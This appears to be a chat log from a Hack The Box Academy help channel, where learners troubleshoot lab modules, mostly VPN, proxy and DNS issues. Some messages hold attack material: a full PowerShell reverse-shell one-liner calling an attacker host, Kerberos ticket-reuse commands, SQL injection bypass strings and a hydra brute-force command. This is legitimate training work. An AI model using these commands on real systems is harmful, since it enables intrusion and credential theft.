modules

[cloud urchin]

EU more like eww

[pseudo birch]

please ignore. Just reset 2 more times and it worked XD

[calm abyss]

what question are you on ?

[calm abyss]

wait untill i get there, i am retaking the module

[inner geyser]

eu2 worked for me...thanks @next bronze. Got it right away

[calm abyss]

[e-mail]@linux01:/tmp$ Is this it ?

[neat horizon]

yep, thats where the ccache files are

there are 2 files that belong to the user julio

[next bronze]

might wnat to send a message to support about the target being broken

hmm yeah one of those should work, the no logon server status is weird tho, can you reach the DC from that target?

[high reef]

i'm doing Malicious SCF File

i'm not getting this users hash

wrote the scf filee in backup

[neat horizon]

not sure, how could I test that? Other than with the command I'm already trying to issue

[zenith vale]

hey can someone explain to me why this injection worked for me ?
Executing query: SELECT * FROM logins WHERE username='tom' or '1'='1' AND password = '1' --'' AND password = ''; im at the subvverting query logic in the sqli fundementals

[calm abyss]

Once you have the ticket you need to export it. export KRB5CCNAME=path_to_ticket.ccache . Then you can use other tools with the cached ticket of the user that has rights to do xyz. An example would be like netexec smb 10.10.10.10 -k -x “type C:\Users\julio\julio.txt” this would use the cached ticket to run a cmd and read that txt file but the -k flag can be used with most of impacket suite

[zenith vale]

at first i tried to make everything past password = '1' a comment and then i noticed it added a ' to my syntax i added another apostrophe it worked

thinking of it , and trying it making this another and argument was useless so i removed it and it worked again

[neat horizon]

right, I was trying to run the command taught in the module, smbclient //dc01/julio -k -c ls -no-pass after the export command

[haughty tree]

Question, this is a loop from a reverse shell for powershell, and it makes me curios as to how does the connection using this script doesn't get terminated if I don't send it a command for a bit, because wouldn't it evaluate it as if I sent data that is smaller than 0 in length? or does my computer just constantly send "im here" packets to notify?

heres the full code:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{attacker_machine}',{port_num});$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

[next bronze]

I don't think you're doing anything wrong there, try changing vpn servers?

[calm abyss]

I am having trouble to remember myself how did i do it

[neat horizon]

tried already, like 4 or 5 times yesterday and 2 more today. It seems like there is something wrong with the server. I tried contacting support but got no response since yesterday

[neat horizon]

this smbclient command is the one shown in the exercise solution as well

[calm abyss]

root@linux01:/tmp# i am allready a root but i cannot remember how i did the flag

[dark garden]

I used nmap to find 6 services. I enumerate them one by one, look at anonymous connection, default credentials, CVEs, I even wrote my own exploit... I set up all the services on a VM to try some options... nothing... I wrote a Markdown page of all of my researchs but I don't know if I can share it here.

[fringe urchin]

Sounds like you didnt find the correct service yet

[fringe urchin]

If you want you can dm me them.

And ill check. Dont wanna give a big hint away

[quasi wave]

hi anyone else having trouble getting a target to start?

its taking forever

I'm just gonna come back to it later

see if things clear up

[calm abyss]

ok steps are like this, get the root and copy /tmp/krb5cc_647401106_UHrJ9h from julio, dont copy the HRJDux, export KRB5CCNAME=/root/krb5cc_647401106_UHrJ9h

[calm abyss]

smbclient //dc01/C$ -k -c ls -no-pass

[neat horizon]

this file /tmp/krb5cc_647401106_UHrJ9h does not exist in the server

[calm abyss]

its for me, dont copy paste but LS /TMP

[neat horizon]

these are mine

[calm abyss]

y7nah something

[neat horizon]

I have tried the export command with all of them already

[calm abyss]

copy this to /root

Y7naHy

[neat horizon]

yep, thats what I did here: #modules message

in the sequence of commands I sent in thatprint, I copy the files to root, then export, then try the smbclient and get the error

[calm abyss]

it works for me

[neat horizon]

right now?

[calm abyss]

did you see the last message

[calm abyss]

smbclient //dc01/julio -k -c ls -no-pass

julio.txt A 17 Thu Jul 14 21:18:12 2022

so ls /tmp and copy the second ticket to /root, not DUX something

[calm abyss]

cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist

or whatever your name is, there are 2 julio's

dux and the real one

[neat horizon]

yes, that is exactly what I did

[calm abyss]

vim /etc/hosts

[calm abyss]

add this 172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01

:w for save :x for exit

[calm abyss]

smbclient //dc01/julio -k -c "ls" -N should be working

[neat horizon]

exporting the ccache file, I get the error:

[calm abyss]

add computers to /etc/hosts

save and exit

[neat horizon]

after adding the register to /etc/hosts, still get the error with the same ticket:

[calm abyss]

smbclient //dc01/julio -k -c "more julio.txt" -N

[neat horizon]

still get the error:

[calm abyss]

root@linux01:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu

172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb sm01

The following lines are desirable for IPv6 capable hosts

::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouts

rewrite the /etc/hosts

[calm abyss]

smbclient //dc01/julio -k -c "more julio.txt" -N
getting file \julio.txt of size 17 as /tmp/smbmore.FNGpCJ (16.6 KiloBytes/sec) (average 16.6 KiloBytes/sec)

[calm abyss]

ls /tmp

you have to ipmort the key again

[neat horizon]

I already have imported

[calm abyss]

import again

[calm abyss]

root@linux01:~# ls /tmp
krb5cc_647401106_HRJDux <- BAD
krb5cc_647401106_UHrJ9h <- GOOD but your might differ

go to /root, cd /root
cp /tmp/krb5cc_647401106_UHrJ9h .

export KRB5CCNAME=/root/krb5cc_647401106_UHrJ9h

klist

root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_UHrJ9h
Default principal: [e-mail]

[calm abyss]

hm. you did everything right but still there is a problem

[neat horizon]

exactly

thats will I asked if you were accessing the server right now. This might be a recent problem

[calm abyss]

how about i just give you the flag ?

[neat horizon]

I can see it in the Solution section, so its ok, but I would like to understand why it is not working

[calm abyss]

i followed the same steps and it works for me. i use EU2 VPN

[neat horizon]

I'll try changing to that one

[calm abyss]

save the steps in the notepad so you dont have to go all over again

[calm abyss]

but it works fine for me, so i am confused also

[calm abyss]

answer me this where did you change the /etc/hosts on your machine or in ssh session

[neat horizon]

@calm abyss it worked in the EU VPN! Seems like there is an issue with the US VPNs (I tried changing among the 3 US VPNs before, same issue)

@calm abyss thanks for the help!

[calm abyss]

can you make it now ?

[neat horizon]

yep, it worked, got the file

[calm abyss]

good to hear, keep on hacking

[next bronze]

send a message to support, seems like a few things across modules aren't working

[fallow junco]

Hoping some one can point me in the right direction, in attacking Enterprise networks -> exploitation and privilege escalation. Having issues with the webserver, read some help here but still not working. I'm using proxy chains with ssh dynamic port forwarding, Firefox and foxy proxy. My get request work just fine and the page loads within a second (I did clear my cache just to make sure it wasn't a false positive) but no matter what I do the post request to log in or even the post request to register an account sit there until I get a connection time out. I've tried restarting the boxes. I've tried my own box versus the pwn box provided, I keep coming across the same issue.

[pseudo birch]

There may be some interesting credentials in Internal Information Gathering that will help you log in.

[fallow junco]

Thx yeah I got those. My issues seems to be purely related to the proxy not sending my post request. Even using the found information my post request will just hang until it finally times out.

[pseudo birch]

you don't need to set your foxyproxy/burp. just use Firefox manual proxy with Socks5 127.0.0.1 then your {PORT}

[cerulean grail]

Can anyone please explain using HELO/EHLO to send commands to SMTP via Telnet? I read up on it in some other places but couldn't really understand much from the example they've shown in the Footprinting SMTP module

[pseudo birch]

Has anyone else been experiencing targets stop responding when youre in the middle of something? I'm doing the Attacking Enterprise Network and I'm RDP'd into MS01 and then it freezes/crashes. Then, I try to RDP again and I get a black screen. Which I can't get back into until resetting again. I'm on reset 7.

[open summit]

Is it safe to assume to go with port 22

as port 80 is http and u cant get shell control with a http port

[open summit]

cant seem to get a way in on this IP

10.129.200.169

[torn drift]

I had some issues earlier as well. Seems to come and go. Been especially seeing this more with any Windows labs

[pseudo birch]

Its actually been very very bad. I do an action (making file or copying file) then it freezes. Time clock still works though. Then, I have to RDP back in. Then eventually it just stops letting me back in

[torn drift]

Ugh - yeah - maybe its a built in feature from HTB to let us experience slow degrading conenctions - lolz

[pseudo birch]

xD I was going to be finishing the whole course today, but with this happening. There isn't anyway hahaha

[digital widget]

Oh

[torn drift]

Yeah, thats awesome you're at that module!! - I have 13 more to go, finishing up AD Enumeration now , lab 1 assessment . Do you plan on scheduling the exam soon ?

[rustic sage]

Oh

[pseudo birch]

I'll schedule it 6-8 months from now hahaha. I still have a lot to learn and not enough notes and experience. I'll be practicing writing reports for some of the ProLabs and going through a good many of the boxes. Then, I'll assess what I'm weak at and focus some attention there. Basically, what can I do blind and what can't I do blind.. Then, I should be ready by then. It took me 3 months to finish the whole thing. And 3 months of experience isn't enough I dont think lol

[torn drift]

I think you are provided two exam attempts - maybe worth just to give it a shot - you never know! Either way - good luck on the path

[foggy light]

Module: ADCS attacks
Section: PKINIT

Not sure whats wrong with the administator.pfx
Its giving me error "Error outputting keys and certificates"
I tried it with pwn box as well, no clue whats going on.

[pseudo birch]

Thanks! I'll get there eventually. I'm enjoying it 😄

[open summit]

can someone try find the module for 10.129.200.169

[open summit]

why was no session created

[pseudo birch]

Follow along with the module. It goes over the exploit and how to use MetaSploit. Also, that's linux and not windows.

[wanton idol]

providing the ip wont help on what module u doing

[digital widget]

😵‍💫

[open summit]

ye ik its linux i used nmap and its on linux

[pseudo birch]

I'm getting a BrokenPipeError: [Errno 32] Broken Pipe when I'm trying to download Inveigh onto MS01 on Lateral Movement for Attacking Enterprise Network. Is this an issue with how I set up my proxychains? I'm doing socks4 127.0.0.1 9050. I can't copy from my /drive:/home/htb/. I'm getting an expected error for that as well.

[pseudo birch]

In the guide of the module you are exploiting a windows system. So, your exploit "linux/http/..." wouldn't work. The payload that is used in the module is (windows/meterpreter/reverse_tcp and the exploit exploit(windows/local/ms15_051_client_copy_image)

[open summit]

it wants a session

[cobalt trench]

Attacking email services Q2. Access the email account using the user credentials that you discovered and submit the flag in the email as your answer.

The command I'm using is ||hydra -l [e-mail] -P /home/inf0/HTBA/ACS/pws.list 10.129.98.248 pop3|| but it doesn't find anything

I tried it with rockyou and I tried changing the protocol but nothing works. Any tips?

[pseudo birch]

Follow along with the module. You get the session prior to exploit.

[pseudo birch]

which module is that?

[cobalt trench]

Attacking common services

[fathom pendant]

Wrong domain for email

[cobalt trench]

Im such an idiot

[pseudo birch]

Get coffee 😄

[cobalt trench]

Making a cup as we speak

[pseudo birch]

😄 I just did as well. Going to be a late night

[solar grove]

ATTACKING COMMON SERVICES

I got stuck in the question in the Dns module, I discovered a few subdomains but no result. blog,my,....

[fathom pendant]

i also suggest deleting or redacting the username -- as it's a spoiler for q1

[fathom pendant]

make sure your domain is inlanefreight.htb not inlanefreight.com

[solar grove]

@fathom pendantYes, I understand that, but I still can't find it.

[fathom pendant]

as long as you didn't mess with the names.txt in subbrute, you should find it

[burnt oasis]

Working in SNMP section of “footprinting” and stuck on last question. “Enumerate the custom script that is running on the system and submit its output as the answer ?” I don’t understand what they want in the answer. I’m using snmpwalk and found the other answers in section but I’m confused what they are asking for, on last question. Any help or further resources to look at would be really appreciated 🤙🏽

[fathom pendant]

if you use snmp walk you should find that there's a .sh file that runs

@solar grove it's getting deleted by automod because it's detecting it as spam

[solar grove]

I found these
www,blog,my,support,ns1
But I tried all of them I am looking for zone transfer failed error. I also wrote inlanefreight.htb in the etc/hosts file. I don't understand why it says ns1.inlanefreig.htb in the example.

[fathom pendant]

try with the ip of the target instead

the examples won't always match up to the exercise 1 to 1

[solar grove]

@fathom pendant I get python errors when I type the ip address

[fathom pendant]

the command would look like ./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt

[solar grove]

@fathom pendantMy command is the same as this one and the result gives the domains they found (ns1,blog,my,support.inlanefreight.htb) but none of them are doing zone transfer.

[fathom pendant]

that would be correct as none of those are the answer

[solar grove]

I don't understand, this is not related to the answer I found, can you help me?

[burnt oasis]

Yes found the .sh that’s running script but confused by directions if that file path is the output they are looking for or the oid # or both confused by the answer format they want @fathom pendant

[fathom pendant]

just the output

if you follow a handful of the OID after the .sh that runs you'll see it's output

[fathom pendant]

i'm telling you. that the answer is none of those, it is in the original names.txt that comes with subbrute

as long as you don't modify that, you're fine

i literally just ran it with only the ip in my resolvers.txt (ran it twice) and it worked

even adding the ns.inlanefreight.htb to my /etc/hosts and using that in my resolvers.txt instead gave me the expected answer

@solar grove dm me your output that you're getting

[solar grove]

@fathom pendantI solved it but I don't understand why it works according to my head, can you inform me. I wrote ns1.inlanefreight.htb in /etc/hosts file and I used @ns1.inlanefreight.htb when transferring zone. why it didn't work on inlanefreight.htb.

[fathom pendant]

because the nameserver isn't ns1

dig ns inlanefreight.htb @ip

then when you find the right subdomain it's dig axfr subd.inlanefreight.htb @ip/nameserver

[solar grove]

inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
but it shows it as a nameserver, which means it's a nameserver.

[fathom pendant]

yes ns is the nameserver; not ns1

[solar grove]

I get it, one question in my head is gone. My last question is where we discovered ns1.

[fathom pendant]

?

[burnt oasis]

Found it lol deff wasn’t expecting that kinda output thanks 🤙🏽

[fathom pendant]

ns1 was never discovered in digging/enumerating the target IP

the ns1 was for inlanefreight.com <-- not .htb

inlanefreight.com is a real (fictional) website

[foggy light]

bumpo

[remote briar]

In Intro to Windows: NTFS vs. Share Permissions, I'm trying to mimic the instructions to mount a share using
"sudo mount -t cifs -o username=htb-student,password=Academy_WinFun! //10.129.156.61/"Company Data" /home/htb-ac-10648/Desktop/"

I have the firewall domains set to allow access on the Windows host (domains), and i have NTFS permissions set to full access for everyone, and Share permissions set to full control. But for whatever reason, I'm getting hit with a "No such file or directory" error. Spelling isnt the issue so I'm not sure what gives. Any advice?

I can access the share just fine with smbclient.
Note: I see the share on my pwnbox in Windows but not the Linux VM itself.

I'm starting to think this is expected behavior and the reasoning behind this is beyond the scope of this lesson?

[fathom pendant]

"On the pwnbox in windows" you're using the in-browser pwnbox and your own vm?

If so: that's the reason for it breaking

The vpn assigns you an ip that causes network collisions and breaks things

You can only use on or the other for interacting with targets

[remote briar]

Let me clarify; on the pwnbox via SSL VPN when RDPing into the Windows VM provided by the module

[fathom pendant]

that didn't clarify anything

are you using the in-browser vm? yes or no

I literally do not know what "on the pwnbox via SSL VPN" you connect to the pwnbox either via the in-browser visual or via ssh to the public IP in it's interface

no vpn required (it uses the vpn to connect to targets)

but you don't need to run the vpn on your own machine to use the pwnbox

[remote briar]

the in-browser connects via SSL VPN....
"SSL VPN
This is essentially a VPN that is done within our web browser and is becoming increasingly common as web browsers are becoming capable of doing anything. Typically these will stream applications or entire desktop sessions to your web browser. A great example of this would be the HackTheBox Pwnbox." per Introduction to Networking: Network Types module

[fathom pendant]

i understand what that means but YOU don't interact with the VPN

is what i'm saying

you're abstracting it too much

which is causing additional confusion

what i'm simply asking: are you running the VPN on your machine or not

[remote briar]

web browser -> ssl vpn -> rdp into windows via pwnbox
So, no.

[fathom pendant]

https://tenor.com/view/facepalm-really-stressed-mad-angry-gif-16109475

thank you

you're making it more complicated than it needed to be

[remote briar]

k

[fathom pendant]

i just wanted to double check and verify that you weren't running the VPN on your machine, which will cause conflicts in things not working properly

as far as the connection thing goes, have you tried wrapping the entire connection in doublequotes

i.e. "//ip/share name"

[remote briar]

I have, yes. Same error

[fathom pendant]

can you connect to it via smbclient?

[remote briar]

I see the share using net share on the Windows RDP session, but not on the Pwnbox VM itself.

Also yes. I can both list and interact with the shares

[fathom pendant]

then it's mostly working as intended: Sharing resources doesn't generally mean you can mount them

depends on how they're shared and set up

you generally can't mount an smb share to linux

[remote briar]

Ahh that makes sense then. I think my expectations were off, then.

Thanks for your time.

And your frustration.

😉

[floral yacht]

Anyone had issues spawning targets in academy, getting time out errors?

[pseudo birch]

all day

[remote briar]

once

[spring abyss]

started this hour

[woven stone]

I have a problem with my VPN since yesterday. I think the problem is in this lesson only

[cloud urchin]

try pwnbox

[woven stone]

okay

[fathom pendant]

https

it's http://

not an issue with vpn

literally wrong protocol

[woven stone]

no still not work

[cloud urchin]

https is usually fine on htb

i don't recall a module that you couldn't use https but i could be wrong

[fathom pendant]

most use http

[cloud urchin]

most of the time http doesn't work i found

[fathom pendant]

several times in fact https is the one that causes the issue

[woven stone]

When there is no good connection it automatically redirects it to https

[fathom pendant]

maybe on the ones that are launched via docker are https fine

scan it to see if it's on an alt port

[woven stone]

tun0 not found what my vpn work in bg

[fathom pendant]

then it sounds like your vpn died

ps aux | grep openvpn to see if it's running

also if you didn't run it with sudo it likely died in the bg without you noticing

[woven stone]

bound what is that ???

[fathom pendant]

that's normal

scroll to the bottom

[cloud urchin]

your ifconfig picture didn't show a vpn connection

[fathom pendant]

sudo killall openvpn

[woven stone]

oaky

[fathom pendant]

you have multiple instances running

[woven stone]

no it's nor,..

[fathom pendant]

i see 3 instances of root running openvpn

so yes: that's multiple instances

either way

[ocean night]

👆

[woven stone]

ok try on yr box

u can see like that

[fathom pendant]

if i run on my box it'll only ever show one + me running the grep command

especially considering different PIDs

[ocean night]

Just killall as suggested or reboot and reconnect

[woven stone]

i just run my alias not 3 vpn vhtb

[fathom pendant]

well your alias seems to be spawning a few

[woven stone]

okay i'll try agin

[cloud urchin]

try running it manually instead of with your alias, just to make sure

[fathom pendant]

i'm seeing a few different PIDs

also that

[woven stone]

mu alias

[fathom pendant]

ok?

we're not arguing your alias atm

https://superuser.com/questions/117913/ps-aux-output-meaning > from your output i'm seeing multiple PIDs for the openvpn process

3303 --> 3305

[woven stone]

after rebooot still

[woven stone]

ok

[cloud urchin]

PID means Process ID, which is in the 2nd column of the ps command you ran, you can see they have different PID numbers, which means they are different processes

[fathom pendant]

so something is causing issues

[cloud urchin]

follow the command MarcieLee gave you, sudo killall openvpn

[ocean night]

Do you have it in bashrc or something, and then executing again

[fathom pendant]

do you have an automatic process that's running it?

[cloud urchin]

then reconnect, try agian, if that doesn't work, reboot your whole pc and try reconnecting and doing it again

[woven stone]

yup

[ocean night]

Multiple terminal windows?

[cloud urchin]

that makes sense why my guide didn't work for you yesterday

your multiple VPN's are causing problems, kill all those processes and just run it once

[woven stone]

wtf i run two vpn and found this

my vpn = 3vpn

[woven stone]

tmux

[mint arrow]

Hi guys, I'm having issue with Tomcat in module Shells & Payloads under "The Live Engagement". Everytime I try to upload the .war file in Tomcat it went to "The connection was reset".

[woven stone]

and tun0 not found in ifconfig

[cloud urchin]

Brother you were given the steps to resolve, execute them!

[woven stone]

I did this and it did not work, but I will try to change the vpn file . thx bro

[cloud urchin]

you need to resolve all the openvpn's that are open first

kill the processes, then reconnect to the vpn

[fathom pendant]

might need to attach -9 to the killall command

[woven stone]

When I kill the VPN and then try to run it, three other similar processes appear. I don’t know where they are coming from.

[ocean night]

Sounds stupid.. but the IP / port listed in your config file

Can you actually connect to it

[fathom pendant]

i have the same IP and can ping it

but i'm not actually getting it to fully connect; regenerating my vpn file now tho

[ocean night]

They're on TCP

[woven stone]

yeees

[woven stone]

sudo kill -9 openvpn right ??

[fathom pendant]

killall*

[ocean night]

So when I said do you have that in bashrc, do you have the command to connect to the VPN in bashrc so it does it automatically when a session is started?

Or just the alias

[woven stone]

alias

[fathom pendant]

ok yeah can confirm running it does spawn 3 PIDs

[woven stone]

i found this .and idk

[fathom pendant]

question

when you run it: do you get: "Initialization Sequence Completed"

if not; that's why you don't get a tun0

[woven stone]

no

[fathom pendant]

@ocean night this might be related to US acad vpn server maintenance as well; considering this is the first time i'm running the connection since the maintenance period

[cloud urchin]

maybe for testing comment all of your custom stuff out and just try manually

[fathom pendant]

that's why you're not getting a tun0

[woven stone]

idk

[fathom pendant]

regenerate your vpn file (Download a new vpn file) and use that

[woven stone]

okay i'll try

[fathom pendant]

literally just downloaded a new config and it worked

old config hung at connecting to IP

[ocean night]

Have you tried the UDP cknfjf?

Config*

[fathom pendant]

that's definitely a word there

[fathom pendant]

my old config was UDP

[ocean night]

Shut it

Lol

[fathom pendant]

i'm shrimply stating that it's likely with the maintenance being done, a new file was needed :)

[ocean night]

Could well be

[fathom pendant]

oop and just got another idea >:)

[woven stone]

thx

[ocean night]

What did it in the end?

[woven stone]

download a new file

and it worked

thx MarcieLee 💚

[night crypt]

anyone having trouble getting RDP access to machines in the ACTIVE DIRECTORY ENUMERATION & ATTACKS module? Stuck on Living Off the Land. Have tried swapping VPN servers 2x

it's letting me connect but just showing a black screen on the RDP client

[cloud urchin]

did you press enter/space

wake it up

[night crypt]

aha

thank you @cloud urchin !!

tried clicking on it but didn't try the old trusty keystroke d'oh

[fathom pendant]

it's around the lower 2/3 of the screen centered

[tropic wharf]

i have a question about the fawn module in the getting started list, i was wondering if someone could help me understand. the walkthrough for the module says the help for the ftp is "ftp -h" but it stated it was an invalid command. "ftp ?" worked instead and i just wanted to understand why. is it an update to something or did i do something wrong from the walkthrough?

[fathom pendant]

Wrong channel

#starting-point

[tropic wharf]

of course. thank you.

[fathom pendant]

This channel is for academy modules

[fathom pendant]

Windows or linux

Windows uses ? Or /?

[tropic wharf]

thats my bad for the wrong channel

[tropic wharf]

itstated it was unix

[fathom pendant]

Yes; but I mean when you tried on your machine

[tropic wharf]

oh. linux

[night crypt]

Getting the following error whenever I try answer the first question of the "Kerberoasting - from Linux" module in AD Enumeration & Attacks - anybody else having this problem?

[-] Principal: INLANEFREIGHT.local\SAPService - [Errno 104] Connection reset by peer

Edit: 3 target resets later seems to have done the trick 😄

[cloud urchin]

Not sure how long you waited before rebooting, but the AD modules take a bit longer to fully boot up, so make sure to wait 3-5 min.

[solid moth]

Module name : Pivoting, Tunneling, and Port Forwarding
Section name : Web Server Pivoting with Rpivot
"New connection from host 10.129.162.202, source port 39110" this means i already succeed in the pivot part right?

i want do nmap scan in the 172.16.5.0/23 but it always timeout . why?

[cloud urchin]

Yes

[cloud urchin]

Sounds like your Rpivot is setup, so the next logical thing that would stop it is your proxychains configuration

[fathom pendant]

Depending on your pivot you'll either need proxychains or whatever method by your tool

[solid moth]

i used proxychains

proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.0:80 <--socket error or timeout!

[fathom pendant]

Well if 80 isn't open on that device it won't connect

¯_(ツ)_/¯

[cloud urchin]

172.16.5.0 is a bad address

the module says to use 172.16.5.135:80

try using that IP instead

[solid moth]

not working .lots of "socket error or timeout!" error

[cloud urchin]

you can proxychain to a service locally and use 127.0.0.1 to make sure it's setup correctly. maybe re-download the vpn, reconnect to the vpn, and restart the lab machine then wait ~3-5 mins to connect and try again

[spark spruce]

If we know the username is admin
then we should use ' or '1'='1 with password to bypass
why it is using with admin ?

[cloud urchin]

as long as your syntax, targets, proxychains, vpn, etc are all setup and enabled correctly it will work

[spark spruce]

Guys
Any Idea????

[woven stone]

Because he is the admin and has high priv

Imagine that you want to rob the bank. What would be better, to be the bank manager or to be just an ordinary person working in the bank?

[spark spruce]

but what if I change admin to other username?

[woven stone]

If you know which user, you will succeed

I advise you to study more carefully because it explains all of this

[wanton idol]

its seems to be a sqli example, in this case its saying if its running as admin and we did a or statement with 1 = 1 the then it will bypass the password bc 1 does in fact equal 1. OR statements just sees if one of the two things in this case admin or 1=1 is true then allow

[spark spruce]

why to make 2 cases if already known that username is admin

it wouold accept admin as username and password should be use with 1=1 to bypass it

[wanton idol]

yeah just bc u know the username doesnt mean u know its password so thats why with the sqli u did an OR statement to bypass entering the correct pass

[spark spruce]

then it should be like this

[storm elk]

No. As passwords are usually hashed

And entries are too. When processing the code

[spark spruce]

/users/user[username/text()='admin' and (password/text()='abc' or '1'='1')]

[spark spruce]

ooh

[spark spruce]

yeah it could be

[storm elk]

Saving passwords plaintext is like the worst thing any DBA/developer can do

[spark spruce]

offcourse

[storm elk]

By putting a comment after the entry of username the rest of the query won’t be processed as they go be a comment

[quick ingot]

Anyone solved Error-Based SQL injection from the Advanced SQL Injections module.

[uneven oracle]

I was able to figure it out because of the hint and obvious title on the webpage, but how on earth would I have known what to search for based on the nmap scan??

Getting Started/Pentesting Basics/Public Exploits

[fringe urchin]

which module is that? is that the cow?

[next bronze]

looks like getting started, next time include the module and section name

[uneven oracle]

Getting Started/Pentesting Basics/Public Exploits

[next bronze]

there's a port given for the target, so you'll only need to examine the port and not the whole IP

[fringe urchin]

yea a lot of timse nmap wont give you all the info. so you need to get on that website and look for interesting/info stuff yourself

[uneven oracle]

How do you examine just that port?

[next bronze]

with a browser, nginx is a web server, so to interact with web servers, you'll need a browser

later modules will teach you how to foorpint different services

[uneven oracle]

So I should NOT have been able to figure that out without the hint?

[fringe urchin]

well its a web server. you just visit it with the correct port (80 or 443 (http or https))
xreous was saying that later modules will teach you how to footrpint other services like imap, snmp, pop3 etc

[next bronze]

you don't need the hint, go to the website, see the plugin version, google <plugin version> exploit. that's all

[fringe urchin]

looks allright

(idk what that is)

[uneven oracle]

Without the hint how would you know what to look for?
How would you go about solving that question?

[spice tiger]

What's this??

[next bronze]

what I said, google the version shown in the website and try an exploit

[rapid sapphire]

U have to be smart to understand

[uneven oracle]

That’s basically the hint.
I mean just from enumeration…

[next bronze]

huh? you don't need the hint to google the plugin version

it's right there on the website

[fringe urchin]

he probably means how do we know we need to visit the website?

[next bronze]

oh

[uneven oracle]

lol.
I already have the answer.

I’m saying, why would you think to google that??

[next bronze]

this

[fringe urchin]

to google the plugin name?
because a lot of outdated plugins have vulnerability, and the name of the plugin is served you on a golden plate in this exercise.
its always important to know the name and version of stuff running on every service

[uneven oracle]

Right!
But of course it won’t be given on a golden plate. (In real life)

They teach you to find open ports through enumeration.
How would you even know that if it weren’t written on the front of the webpage??

[fringe urchin]

thats gonna be taught to you in later modules. this one was served to you on a golden plate.

[next bronze]

hence I said later modules will teach you how to footprint services better, this module is easy mode where the version number is right there on the website

[fringe urchin]

this module you doing is just getting started. it wont teach you much deep stuff

[uneven oracle]

Right… ok lol
I’ll leave it at that for now.

But I was saying I shouldn’t have expected to ever solve that without the hint. (At this point)

[next bronze]

why not? googling is not rocket science. the module itself literately told you to google exploits, so you see the version number, google that + exploit

[uneven oracle]

🙄 lol.

So what would you google?

[autumn pilot]

Try to find information on the webpage itself

You have been an IP and port, visit it and observe

[next bronze]

did you look at the website with your browser like I suggested

[uneven oracle]

I did.

There is nothing there.

[autumn pilot]

Try again, don't swerve your attention elsewhere

[next bronze]

whatever I see here

[fringe urchin]

Should have made the title bigger

[uneven oracle]

I mean, now I know about “plugins”.
But you wouldn’t think to do that at first.

The module teaches you about enumeration and finding exploits on the open ports.
Nothing that comes up in the open ports would lead you to do that.

[next bronze]

you're only given 1 port to work with

[uneven oracle]

No (good) information comes up on that port.

[fringe urchin]

Https?

[next bronze]

you need to get better at googling ig

[uneven oracle]

Why would I think to google simple backup plugin 2.7.10 from this?

[next bronze]

if you google apache, what do you see? it's a http server (also in the nmap scan), so for http servers, you interact with it using a browser, when you go there using a browser, you're shown the plugin version

I feel like we're going in circles, if you're so set on believing that this section cannot be completed without the hint, so be it. good luck with future modules

[autumn pilot]

Read the contents on the webpage and don't focus on scanning

[uneven oracle]

As was stated before, this is given on a golden plate.
What would you do in a normal situation?

[autumn pilot]

Google what you see and add the word exploit or vulnerability

[next bronze]

as I've said for the 3rd time now, future modules will teach you how to footprint services

[uneven oracle]

lol the answer isn’t usually going to be written front and center on the page.

[autumn pilot]

Further down the modules you will be shown how to enumerate

This is as the name of the module suggest getting started

You won't be expected to do something a bit more difficult

[uneven oracle]

Right!
And I’m just curious how one would have solved this without the answer basically given to you…

[uneven oracle]

Got it.
But @next bronze is saying I don’t know how to google, ect ect lol.

[autumn pilot]

the future will tell

[uneven oracle]

lol.
Nice chat guys.

[uneven oracle]

👌🏽

[fringe urchin]

[fluid quartz]

anyone able to help me with something at the start of the introduction to windows evasion?

[fathom pendant]

https://dontasktoask.com

If you can ask it without spoiling or if it's just a general question, just ask

[fluid quartz]

i need help in the windows evasion module getting the AES crypter to work

i think i've set it up wrong,wondering if someone can look at my code

if you could please DM me

[cedar yew]

hey all how to reset my neo4j user&pass

[fathom pendant]

https://neo4j.com/docs/operations-manual/current/kubernetes/operations/reset-password/

[fickle portal]

hello, so i'm trying to answer this question: Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer. here is the command i came up with to try and find the good answer : curl "https://www.inlanefreight.com" 2>/dev/null | grep -oE "https://www.inlanefreight.com(/[a-zA-Z0-9./?=_-]*)?" | sed 's|https://www.inlanefreight.com||' | sort | uniq | wc -l. I cannot figure out how to do it differently, I really need help on this one. Thanks in advance

[fathom pendant]

I mean there's not much to do differently

It's a bunch of filtering and finding references to inlanefreight.com and filtering

Though I don't recall sed using | rather/

Which you'll need to escape special characters

(Note it helps if you put your command in backticks so it's easier to parse)

`like this`

This one I used a fair bit of googling and mostly copied a command I found on the forums

[fickle portal]

I see, thank you for your answer ! I tried using sed differently but still can't find the correct answer this is so annoying. Thanks again for the advice though!

[fickle portal]

Yes I forgot to do it ^^ my bad

[pseudo birch]

I need someone to drop some knowledge on me about SSH tunneling. I'm doing Attacking Enterprise Networks and I have admin hash. I'm trying to connect to the DC with this hash. However, I keep getting a HTTPClient timeout error or HTTPResponse Error. I'm able to ping and nmap scan the DC. I've tried using msfconsole autoroute and chisel to SOCKS tunnel traffic, and using ssh -D {port} and using proxychains as part of the argument in my command to connect to the DC. I've googled until I can drop on fixing the issue. Could this be a technical issue with the target or issue with my socks tunnel or /etc/proxychains.conf or something else entirely?

[fathom pendant]

Yeah but for some reason you are using pipes | in your sed and not /

[fickle portal]

I thought that sed was using these delimiters | and not /? Wouldn't that be confusing with the urls?

[fathom pendant]

Well you need to escape special characters

